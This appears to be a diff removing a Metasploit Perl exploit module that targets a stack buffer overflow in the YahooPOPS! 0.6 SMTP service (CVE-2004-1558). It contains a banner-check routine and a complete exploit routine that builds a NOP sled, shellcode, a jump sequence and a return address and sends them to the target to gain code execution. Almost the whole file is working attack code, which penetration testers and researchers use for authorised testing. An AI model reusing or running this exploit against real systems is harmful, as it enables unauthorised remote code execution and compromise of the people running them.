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- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::ypops_smtp;
- use strict;
- use base 'Msf::Exploit';
- use Msf::Socket::Tcp;
- use Pex::Text;
-
- my $advanced = {
- };
-
- my $info = {
- 'Name' => 'YahooPOPS! <= 0.6 SMTP Buffer Overflow',
- 'Version' => '$Revision: 1.1 $',
- 'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 25],
- },
-
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
- 'Payload' =>
- {
- 'Space' => 400,
- 'BadChars' => "\x00+&=%\x0a\x0d\x20",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack based buffer overflow in YPOPS! 0.6 SMTP service.
- By sending a SMTP message containing more than 504 bytes, a remote attacker
- could overflow a buffer and execute arbitrary code on the system or cause
- the SMTP service to crash.
-
-
- }),
-
- 'Refs' =>
- [
- ['BID', '11256'],
- ['CVE', '2004-1558'],
- ],
-
- 'Targets' =>
- [
- ['YPOPs! <= 0.6 Universal', 0x10019f97],
- ],
-
- 'DefaultTarget' => 0,
-
- 'Keys' => ['smtp'],
-
- 'DisclosureDate' => 'September 27 2004',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
-
- return($self);
- }
-
- sub Check {
- my ($self) = @_;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("QUIT\r\n");
- my $res = $s->Recv(-1, 20);
- $s->Close();
-
- if ($res !~ /YahooPOPs! Simple Mail/) {
- $self->PrintLine("[*] This server does not appear to be vulnerable.");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("[*] Vulnerable installation detected :-)");
- return $self->CheckCode('Detected');
- }
-
- sub Exploit {
- my $self = shift;
- my $targetHost = $self->GetVar('RHOST');
- my $targetPort = $self->GetVar('RPORT');
- my $targetIndex = $self->GetVar('TARGET');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $shellcode = $encodedPayload->Payload;
- my $target = $self->Targets->[$targetIndex];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $sock = Msf::Socket::Tcp->new(
- 'PeerAddr' => $targetHost,
- 'PeerPort' => $targetPort,
- );
-
- if($sock->IsError) {
- $self->PrintLine('Error creating socket: ' . $sock->GetError);
- return;
- }
-
- my $resp = $sock->Recv(-1, 3);
- chomp($resp);
-
- $self->PrintLine('[*] Got Banner: ' . $resp);
-
- my $resp = $sock->Recv(-1, 3);
- if($sock->IsError) {
- $self->PrintLine('Socket error: ' . $sock->GetError);
- return;
- }
-
- $self->PrintLine('[*] Sending overflow...');
-
- my $sploit =
- $self->MakeNops(200). $shellcode. $self->MakeNops(43).
- "\xeb\x06\x92\x46". pack('V', $target->[1]).
- $self->MakeNops(8). ("\xeb\x08\x46\x92" x 50);
-
- my $resp = $sock->Recv(-1, 3);
- if(length($resp)) {
- $self->PrintLine('[*] Got response, bad: ' . $resp);
- }
-
- $sock->Send($sploit);
- $self->Handler($sock);
- $sock->Close();
- return;
- }
-
- 1;
-